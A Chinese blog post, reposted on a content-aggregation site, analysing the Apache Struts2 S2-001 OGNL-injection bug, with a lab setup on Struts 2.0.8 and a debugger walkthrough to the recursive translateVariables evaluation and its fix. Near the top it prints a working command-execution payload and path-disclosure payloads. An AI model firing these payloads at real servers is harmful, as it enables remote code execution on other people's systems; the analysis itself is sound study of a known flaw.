S2-001漏洞分析

news2024/9/28 5:28:32

首发于个人博客:https://bthoughts.top/posts/S2-001漏洞分析/

一、简介

1.1 Struts2

Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。

1.2 S2-001

Remote code exploit on form validation error

S2-001 漏洞是一种影响 Apache Struts 2 框架的远程代码执行 (RCE) 漏洞。 该漏洞是由 Struts 2 框架中不正确的输入验证引起的,它允许攻击者通过向 Struts 2 应用程序发送特制的 HTTP 请求来执行任意代码。

这个漏洞的核心在于,form的验证错误时,会解析ognl语法,导致命令执行.

poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

调试POC:

%{1+5}

信息获取:

# tomcat path
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

# web path
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

二、环境搭建

macOS M2
Java version "1.8.0_261"
IDEA 2020.2
tomcat 9.0.70

2.1 Maven 配置

通过Maven创建项目,Archetype,选择webapp。
在这里插入图片描述

高级设置下,然后groupidartifactid都可以自定义,之后Finish。

在这里插入图片描述
然后会自动下载所需的jar包等文件进行构建,只需要静静等待几分钟就好了。
然后此时创建好的项目如图所示。
在这里插入图片描述
接下来分别添加并配置Maven的pom.xml,Tomcat的web.xml,Struts2的struts.xml

2.1.1 Java代码

在main目录下创建一个java文件夹,里面放置我们自定义的java类文件.
在这里插入图片描述

在里面我们创建自定义的Java Package。
在这里插入图片描述

然后在其中创建一个名为LoginAction的Java类,内容为:

package org.example.s2001.action;
import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport{
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }
    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }
    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

刚开始添加了代码之后可能会有报错,这是因为没有引入com.opensymphony.xwork2.ActionSupport该包.

可以先不用管,去配置一下pom.xml就好了。

2.1.2 pom.xml

接下来修改pom.xml,添加如下内容:(添加到<dependencies>这一对标签中)

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.0.8</version>
</dependency>

添加这个配置之后,点击界面上出现了maven更新小按钮Maven会自动将对应版本的Jar包下载导入,不需要手工配置了。
在这里插入图片描述

2.1.3 web.xml

再修改web.xml,在这里主要是配置struts2的过滤器。

<web-app>
  <display-name>S2-001 Example</display-name>
  <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

然后,在 webapp 目录下创建&修改两个文件 —— index.jsp&welcome.jsp,内容如下。

1、index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>
2、welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

2.1.4 struts.xml

然后在 main 文件夹下创建一个 resources 文件夹,内部添加一个 struts.xml,内容为:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.mengsec.s2001.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

这里遇到了个小问题,就是添加 struts.xml 文件时新建文件模板里没有对应的配置,可以安装Struts2插件

1、struts2 插件

解决方案就是在首选项 => plugins => 搜索struts2 然后安装就好了

1
在这里插入图片描述

此时项目目录如下:
在这里插入图片描述

2.2 配置服务器

2.2.1 安装Tomcat

接下来配置Tomcat服务器,在Mac上的话,直接 brew install tomcat@9 即可安装tomcat9。

To have launchd start tomcat now and restart at login:
brew services start tomcat
Or, if you don’t want/need a background service you can just run:
catalina run

如果想要后台启动服务,使用:brew services start tomcat
不需要的话直接:catalina run

xavier@Mac S2-001 % brew install tomcat@9
Running `brew update --auto-update`...
==> Auto-updated Homebrew!
........ # 略
==> Pouring tomcat@9--9.0.70.all.bottle.tar.gz
==> Caveats
Configuration files: /opt/homebrew/etc/tomcat@9

tomcat@9 is keg-only, which means it was not symlinked into /opt/homebrew,
because this is an alternate version of another formula.

If you need to have tomcat@9 first in your PATH, run:
  echo 'export PATH="/opt/homebrew/opt/tomcat@9/bin:$PATH"' >> ~/.zshrc


To restart tomcat@9 after an upgrade:
  brew services restart tomcat@9
Or, if you don't want/need a background service you can just run:
  /opt/homebrew/opt/tomcat@9/bin/catalina run
==> Summary
🍺  /opt/homebrew/Cellar/tomcat@9/9.0.70: 628 files, 15.4MB
==> Running `brew cleanup tomcat@9`...
Disable this behaviour by setting HOMEBREW_NO_INSTALL_CLEANUP.
Hide these hints with HOMEBREW_NO_ENV_HINTS (see `man brew`).
xavier@Mac S2-001 % 

这里安装的目录,在IDEA中找不到,于是我手动将其复制到了

xavier@Mac S2-001 % ls /opt/homebrew/etc/tomcat@9 
Catalina                catalina.properties     jaspic-providers.xml    logging.properties      tomcat-users.xml        web.xml
catalina.policy       cocontext.xml         jaspjaspic-providers.xsdrverserver.xml      tomcat-utomcat-users.xsd
xavier@Mac S2-001 % ls ~/tomcat 
xavier@Mac S2-001 % cp -r /opt/homebrew/opt/tomcat@9/ ~/tomcat/tomcat@9/ 
xavier@Mac S2-001 % ls ~/tomcat 
tomcat@9

2.2.2 添加服务器

添加一个本地的Tomcat服务器。具体步骤如下图:
在这里插入图片描述

这个路径参考前面安装时提到的安装目录
在这里插入图片描述

端口根据自身环境修改.
然后右下角的提示,可以点击fix或者点击Deployment,添加一个artifacts。

然后点击左上角的绿色三角就可以运行了。

2

2.2.3 一些bug

测试时,最开始是通过brew install tomcat默认安装了最新版的Tomcat 10.0.x 版本,该版本运行环境时会出现报错。大致报错如下:

至少有一个JAR被扫描用于TLD但尚未包含TLD。 为此记录器启用调试日志记录,以获取已扫描但未在其中找到TLD的完整JAR列表。 在扫描期间跳过不需要的JAR可以缩短启动时间和JSP编译时间。

在这里插入图片描述

2.3 测试环境

在username 的输入框输入:%{1+1}

3

如图,漏洞环境搭建成功!

三、漏洞分析

3.1 前置知识:

3.1.1 S2-001 简介

该漏洞是由于 Struts 2 框架处理 HTTP 请求中某些参数的方式存在缺陷。 具体来说,该框架无法正确验证这些参数中的用户输入,从而允许攻击者将恶意负载注入应用程序。 有效负载可以包含应用程序处理请求时在服务器上执行的任意代码。

WebWork 2.1+ 和 Struts 2 的“altSyntax”功能允许将 OGNL 表达式插入到文本字符串中并进行递归处理。

这允许恶意用户通常通过 HTML 文本字段提交包含 OGNL 表达式的字符串,如果表单验证失败,服务器将执行该表达式。

对该漏洞进行分析,我们需要知道如下内容:

1. struts2是怎么运作的
2. Java的反射机制和Java的类加载机制和Java的动态代理
3. Ognl表达式  
4. IDEA调试方法

3.1.2 Struts2 架构&请求处理流程

根据Struts2的执行过程进行分析:
在这里插入图片描述

在该图中,一共给出了四种颜色的标识,其对应的意义如下。

  • Servlet Filters(橙色):过滤器,所有的请求都要经过过滤器的处理。
  • Struts Core(浅蓝色):Struts2的核心部分。
  • Interceptors(浅绿色):Struts2的拦截器。
  • User created(浅黄色):需要开发人员创建的部分。
  1. HTTP请求经过一系列的过滤器,最后到达 FilterDispatcher 过滤器。
  2. FilterDispatcher 将请求转发 ActionMapper,判断该请求是否需要处理。
  3. 如果该请求需要处理,FilterDispatcher会创建一个 ActionProxy 来进行后续的处理。
  4. ActionProxy 拿着HTTP请求,询问 struts.xml 该调用哪一个 Action 进行处理。
  5. 当知道目标Action之后,实例化一个ActionInvocation来进行调用。
  6. 然后运行在Action之前的拦截器,图中就是拦截器1、2、3。
  7. 运行Action,生成一个Result
  8. Result根据页面模板和标签库,生成要响应的内容。
  9. 根据响应逆序调用拦截器,然后生成最终的响应并返回给Web服务器。

3.2 代码调试

首先在index.jsp中输入数值并提交后,根据web.xml中配置的过滤器,会到达org.apache.struts2.dispatcher.FilterDispatcher,然后判断为需要处理请求,创建一个ActionProxy。ActionProxy根据struts.xml配置确定调用哪个Action进行处理,知道目标Action后,会实例化一个ActionInvocation去调用org.example.s2001.action.LoginAction。在这个过程中,就会先允许相应的拦截器。

3.2.1 拦截器

在username字段输入%{1+5},点击Submit,FilterDispatcher下doFilter进行过滤器调度,
在这里插入图片描述

我们关注ParametersInterceptor拦截器,在doIntercept这里打了该断点,跟踪参数传递。
在这里插入图片描述

可以看到ParametersInterceptor141行中的doIntercept,在159处执行setParameters(action, stack, parameters),跟踪下去,此时堆栈parameters保存我们传入的参数。

进入setParameters,该方法将我们传入的数据进行了保存:

    // com.opensymphony.xword2.interceptor.ParametersInterceptor#doIntercept
    protected void setParameters(Object action, ValueStack stack, final Map parameters) {
        ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
                ? (ParameterNameAware) action : null;

        Map params = null;
        if( ordered ) {
            params = new TreeMap(getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters); 		// 保存参数
        }
        
        for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {
            Map.Entry entry = (Map.Entry) iterator.next();
            String name = entry.getKey().toString();

            boolean acceptableName = acceptableName(name)
                    && (parameterNameAware == null
                    || parameterNameAware.acceptableParameterName(name));

            if (acceptableName) {
                Object value = entry.getValue();
                try {
                    stack.setValue(name, value); // 保存参数,参数入栈
                } catch (RuntimeException e) {
                    ...
            }
        }
    }

1
在这里插入图片描述

doIntercept:167 return invocation.invoke();,接下去会经过一系列其他的拦截器
在这里插入图片描述

加载完拦截器后,会调用invocation.invoke(也就是DefaultActionInvocation 的invoke())

invoke中会调用invokeActionOnly,跟进

    // 
    public String invokeActionOnly() throws Exception {
    	return invokeAction(getAction(), proxy.getConfig());
    }

invokeActionOnly接着调用自身invokeaction,继续跟进

invokeaction通过反射方式调用用户action里的execute,回到我们自己写的LoginAction.java,开始处理用户层逻辑。

    // 
    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }

3.2.2 Result

在处理完用户逻辑后会调用DefaultActionInvocationexecuteResult()处理请求结果,跟进
在这里插入图片描述

    // com.opensymphony.xword2.DefaultActionInvocation#executeResult
    private void executeResult() throws Exception {
        result = createResult();

        String timerKey = "executeResult: "+getResultCode();
        try {
            UtilTimerStack.push(timerKey);
            if (result != null) {
                result.execute(this);
            } else if (resultCode != null && !Action.NONE.equals(resultCode)) {
                ...
            } else {
                ...
            }
        } finally {
            UtilTimerStack.pop(timerKey);
        }
    }

executeResult会调用result实现类StrutsResultSupport下的execute进行处理,

    // com.apache.struts2.dispatcher#execute
    public void execute(ActionInvocation invocation) throws Exception {
        this.lastFinalLocation = this.conditionalParse(this.location, invocation);
        this.doExecute(this.lastFinalLocation, invocation);
    }

调用栈:execute:177–>conditionalParse:190–>translateVariables:56–>translateVariables:100,不重要。

跟进doExecute,跟进org.apache.struts2.dispatcher.ServletDispatcherResult

    // com.apache.struts2.dispatcher.ServletDispatcherResult#doExecute
    public void doExecute(String finalLocation, ActionInvocation invocation) throws Exception {
        if (log.isDebugEnabled()) {
            log.debug("Forwarding to location " + finalLocation);
        }

        PageContext pageContext = ServletActionContext.getPageContext();
        if (pageContext != null) {
            pageContext.include(finalLocation);
        } else {
            HttpServletRequest request = ServletActionContext.getRequest();
            HttpServletResponse response = ServletActionContext.getResponse();
            RequestDispatcher dispatcher = request.getRequestDispatcher(finalLocation);
            if (dispatcher == null) {
                response.sendError(404, "result '" + finalLocation + "' not found");
                return;
            }

            if (!response.isCommitted() && request.getAttribute("javax.servlet.include.servlet_path") == null) {
                request.setAttribute("struts.view_uri", finalLocation);
                request.setAttribute("struts.request_uri", request.getRequestURI());
                dispatcher.forward(request, response);  //跟进
            } else {
                dispatcher.include(request, response);
            }
        }

    }

可以看到通过dispatcher.forward(request, response)对Request请求内容进行处理。

3.2.3 标签解析

调用栈:doExecute:139–>forward:139–>doForward:385–>…->doStartTag:54
在这里插入图片描述

随后struts会调用具体实现类ComponentTagSupport进行标签的解析 标签的开始和结束位置,会分别调用 doStartTag()及 doEndTag() 方法,而造成此次漏洞的正是doEndTag,直接跟进doEndTag。

    // com.apache.struts2.views.jsp.ComponentTagSupport#doEndTag
    public int doEndTag() throws JspException {
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }

    // com.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
    public int doStartTag() throws JspException {
        this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
        Container container = Dispatcher.getInstance().getContainer();
        container.inject(this.component);
        this.populateParams();
        boolean evalBody = this.component.start(this.pageContext.getOut());
        if (evalBody) {
            return this.component.usesBody() ? 2 : 1;
        } else {
            return 0;
        }
    }

doEndTag会接着调用components.UIBean的end 方法,end会调用自身evaluateParams:

    // com.apache.struts2.components.UIBean#end
    public boolean end(Writer writer, String body) {
        this.evaluateParams();

        try {
            super.end(writer, body, false);
            this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
        } catch (Exception var7) {
            LOG.error("error when rendering", var7);
        } finally {
            this.popComponentStack();
        }

        return false;
    }

跟进evaluateParams:

    // com.apache.struts2.components.UIBean#evaluateParams
    public void evaluateParams() {
        this.addParameter("templateDir", this.getTemplateDir());
        this.addParameter("theme", this.getTheme());
        String name = null;
        if (this.key != null) {
            if (this.name == null) {
                this.name = this.key;
            }

            if (this.label == null) {
                this.label = "%{getText('" + this.key + "')}";
            }
        }

        if (this.name != null) {
            name = this.findString(this.name);
            this.addParameter("name", name);
        }

...if (this.title != null) {
            this.addParameter("title", this.findString(this.title));
        }

        if (this.parameters.containsKey("value")) {
            this.parameters.put("nameValue", this.parameters.get("value"));
        } else if (this.evaluateNameValue()) {
            Class valueClazz = this.getValueClassType();
            if (valueClazz != null) {
                if (this.value != null) {
                    this.addParameter("nameValue", this.findValue(this.value, valueClazz));
                } else if (name != null) {
                    String expr = name;
                    if (this.altSyntax()) {		// here
                        expr = "%{" + name + "}";
                    }

                    this.addParameter("nameValue", this.findValue(expr, valueClazz));
                }
            } else if (this.value != null) {
                this.addParameter("nameValue", this.findValue(this.value));
            } else if (name != null) {
                this.addParameter("nameValue", this.findValue(name));
            }
        }

3.2.4 altSyntax

其中会判断altSyntax是否开启,如果开启会对参数值进行重新组合,
在这里插入图片描述

随后调用addparameter,跟进其中的findvalue

    // com.apache.struts2.components.Components#findValue
    protected Object findValue(String expr, Class toType) {
        if (this.altSyntax() && toType == String.class) {
            return TextParseUtil.translateVariables('%', expr, this.stack);
        } else {
            if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
                expr = expr.substring(2, expr.length() - 1);
            }

            return this.getStack().findValue(expr, toType);
        }
    }

在这里插入图片描述

其中this.altSyntax()会判断altSyntax是否开启,如果开启,则会调用translateVariables对参数值进行重新组合,该方法的作用是将变量转换为对象。

跟进TextParseUtil.translateVariables('%', expr, this.stack);

translateVariables取出最外层的{},此时expression的值为%{username},var为username

    // com.opensymphony.xwork2.util.TextParseUtil#translateVariables
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

在这里插入图片描述

最后var=username传入stack.findValueOgnlUtil.getValue执行表达式:

    // com.opensymphony.xwork2.util.OgnlValueStack#findValue
    public Object findValue(String expr, Class asType) {
        try {
            if (expr == null) {
                return null;
            }

            if ((overrides != null) && overrides.containsKey(expr)) {
                expr = (String) overrides.get(expr);
            }

            Object value = OgnlUtil.getValue(expr, context, root, asType);
            if (value != null) {
                return value;
            } else {
                return findInContext(expr);
            }
        } catch (OgnlException e) {
            return findInContext(expr);
        } catch (Exception e) {
            logLookupFailure(expr, e);

            return findInContext(expr);
        } finally {
            OgnlContextState.clear(context);
        }
    }

在这里,就可以看到OgnlUtil.getValue(expr, this.context, this.root, asType),一个标准的OGNL取值表达式,而此时的expr='username',即取出username对应的数据%{1+5},返回value=%{1+5}
在这里插入图片描述

继续返回translateVariables这个函数中的循环,o="%{1+5}"最后expression="%{1+5}",
在这里插入图片描述

随后进入下一个while循环再次确定{}位置,再经过expression.substring时var的值为1+5
在这里插入图片描述

执行stack.findValue(var, asType);,执行value=OgnlUtil.getValue(expr, context, root, asType); //expr="1+5",最后返回结果value="6",继续执行到expression = left + o + right;,expression=“6”,跳出while(True)循环。

最后前端显示结果。
在这里插入图片描述

四、修复

这里最终加入的循环递归深度判断,当完成解析之后就直接跳出。
在这里插入图片描述

参考文章:

  • Struts2 漏洞分析环境搭建 —— 学习S2环境搭建。
  • Mac下安装配置Tomcat 9, Homebrew安装Tomcat
  • https://lorexxar.cn/2019/09/23/javaweb-S2/
  • https://cwiki.apache.org/confluence/display/WW/S2-001

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/366748.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【保姆级】手把手捋动态代理流程(JDK+Cglib超详细源码分析)

简介动态代理&#xff0c;通俗点说就是&#xff1a;无需声明式的创建java代理类&#xff0c;而是在运行过程中生成"虚拟"的代理类&#xff0c;被ClassLoader加载。 从而避免了静态代理那样需要声明大量的代理类。上面的简介中提到了两个关键的名词&#xff1a;“静态…

C语言进阶(九)—— 函数指针和回调函数、预处理、动态库和静态库的使用、递归函数

1. 函数指针1.1 函数类型通过什么来区分两个不同的函数&#xff1f;一个函数在编译时被分配一个入口地址&#xff0c;这个地址就称为函数的指针&#xff0c;函数名代表函数的入口地址。函数三要素&#xff1a; 名称、参数、返回值。C语言中的函数有自己特定的类型。c语言中通过…

多元回归分析 | ELM极限学习机多输入单输出预测(Matlab完整程序)

多元回归分析 | ELM极限学习机多输入单输出预测(Matlab完整程序) 目录 多元回归分析 | ELM极限学习机多输入单输出预测(Matlab完整程序)预测结果评价指标基本介绍程序设计参考资料预测结果 评价指标 -----------ELM结果分析-------------- 均方根误差(RMSE):0.55438 测试集…

webgis高德地图

webgis高德地图 首先准备工作,注册一个高德地图账号,然后在创建一个新应用生一个key跟appId 高德开放平台 接着创建一个html页面 高德配置手册 <style>* {margin: 0;padding: 0;}#

如何维护固态继电器?

固态继电器是SSR的简称&#xff0c;是由微电子电路、分立电子器件和电力电子功率器件组成的非接触式开关。隔离装置用于实现控制端子与负载终端之间的隔离。固态继电器的输入端使用微小的控制信号直接驱动大电流负载。那么&#xff0c;如何保养固态继电器呢&#xff1f; 在为小…

Editor工具开发基础一:顶部菜单栏拓展

一.创建脚本路径 不管是那种工具 都需要在工程里创建一个Editor文件夹 来存放工具.cs文件 二.特性 MenuItem 特性 修饰静态方法 三个构造函数 public MenuItem(string itemName); public MenuItem(string itemName, bool isValidateFunction); public MenuItem(string itemN…

手工测试用例就是自动化测试脚本——使用ruby 1.9新特性进行自动化脚本的编写

昨天因为要装watir-webdriver的原因将用了快一年的ruby1.8.6升级到了1.9。由于1.9是原生支持unicode编码&#xff0c;所以我们可以使用中文进行自动化脚本的编写工作。 做了简单的封装后&#xff0c;我们可以实现如下的自动化测试代码。请注意&#xff0c;这些代码是可以正确运…

【2023考研数学二考试大纲】

文章目录I 考试科目II考试形式和试卷结构一、试卷满分及考试时间二、答题方式三、试卷内容结构四、试卷题型结构III考查内容【高等数学】一、函数、极限、连续二、一元函数微分学三、一元函数积分学四、多元函数微积分学五、常微分方程【线性代数】一、行列式二、矩阵三、向量四…

新手入门吉他推荐,第一把吉他从这十款选绝不踩雷!初学者吉他选购指南【新手必看】

一、新手购琴注意事项&#xff1a; 1、预算范围 一把合适的吉他对于初学者来说会拥有一个很好的音乐启蒙。选一款性价比高&#xff0c;做工材料、音质和手感相对较好的吉他自然不会是一件吃亏的事。**初学者第一把琴的预算&#xff0c;我觉得最低标准也是要在500元起&#xf…

数字IC设计需要学什么?

看到不少同学在网上提问数字IC设计如何入门&#xff0c;在学习过程中面临着各种各样的问题&#xff0c;比如书本知识艰涩难懂&#xff0c;有知识问题难解决&#xff0c;网络资源少&#xff0c;质量参差不齐。那么数字IC设计到底需要学什么呢&#xff1f; 首先来看看数字IC设计…

我们来说说蹿红的AIGC到底是什么?ChatGPT又是什么?

近期&#xff0c;人工智能&#xff08;AI&#xff09;领域动作频频&#xff0c;OPENAI公司Chat GPT的出现&#xff0c;标志着人工智能的研究与应用已经进入了一个崭新的发展阶段&#xff0c;国内腾讯、阿里巴巴、百度、易网、国外微软、谷歌、苹果、IBM、Amazon&#xff0c;等互…

YOLOv5的训练调优技巧

本文编译自英文原文https://github.com/ultralytics/yolov5/wiki/Tips-for-Best-Training-Results&#xff0c;文章解释了如何提高Yolov5的mAP和训练效果。大多数时间&#xff0c;在没有改变模型或是训练配置的情况下&#xff0c;如果能够提供足够多的数据集以及好的标注&#…

理解随机游走

随机游走 基本思想 从一个或一系列顶点开始遍历一张图。在任意一个顶点&#xff0c;遍历者将以概率1-a游走到这个顶点的邻居顶点&#xff0c;以概率a随机跳跃到图中的任何一个顶点&#xff0c;称a为跳转发生概率&#xff0c;每次游走后得出一个概率分布&#xff0c;该概率分布…

【前端】CSS3弹性布局、媒体查询实现响应式布局和自适应布局

文章目录弹性布局基本概念容器&#xff08;container&#xff09;的属性容器成员&#xff08;item&#xff09;的属性媒体查询响应式布局自适应布局参考弹性布局 基本概念 任何一个容器都可以指定为 Flex 布局。 display:flex;行内元素也可以&#xff1a; display:inline-f…

Apollo规划模块代码学习(2): 轨迹规划流程理论基础详解(lane follow场景为例)

文章目录1、轨迹规划基础2、Frenet坐标系3、路径规划和速度规划4、轨迹优化&#xff08;QP过程&#xff09;5、规划流程(lane follow场景为例)1、规划模块流程2、Apollo中各场景3、Lane_follow场景中task本文以具体场景Lane follow为例梳理具体的轨迹规划算法流程。详细介绍轨迹…

关于selenium的等待

目录 隐式等待 显式等待 注意事项 隐式等待 简单来说&#xff1a;在规定的时间范围内&#xff0c;轮询等待元素出现之后就立即结束。 如果在规定的时间范围内&#xff0c;元素仍然没有出现&#xff0c;则会抛出一个异常【NoSuchElementException】&#xff0c;脚本停止运行…

【Linux学习笔记】2.Linux 系统启动过程及系统目录结构

前言 本章介绍Linux的系统启动过程和系统目录结构。 Linux 系统启动过程 linux启动时我们会看到许多启动信息。 Linux系统的启动过程并不是大家想象中的那么复杂&#xff0c;其过程可以分为5个阶段&#xff1a; 内核的引导。运行 init。系统初始化。建立终端 。用户登录系…

【ARM架构】armv8 系统安全概述

ARMv8-A 系统中的安全 一个安全或可信的操作系统保护着系统中敏感的信息&#xff0c;例如&#xff0c;可以保护用户存储的密码&#xff0c;信用卡等认证信息免受攻击。 安全由以下原则定义&#xff1a; 保密性&#xff1a;保护设备上的敏感信息&#xff0c;防止未经授权的访问…

C#值传递、引用传递、输出传递详解

C#值传递、引用传递、输出传递详解1、值传递2、引用传递3、输出传递4、ref 和 out导读&#xff1a; 1&#xff0c;值传递时&#xff0c;为什么被调用的方法中的形参值的改变不会影响到相应的实参&#xff1f; 答&#xff1a;因为按值传递时&#xff0c;系统首先为被调用的方法的…

高级信息系统项目管理(高项 软考)原创论文——风险管理(2)

1、如果您想了解如何高分通过高级信息系统项目管理师(高项)你可以点击一下链接: 高级信息系统项目管理师(高项)高分通过经验分享_高项经验 2、如果您想了解更多的高级信息系统项目管理(高项 软考)原创论文,您可以点击以下链接: 高级信息系统项目管理(高项 软考)原创论文…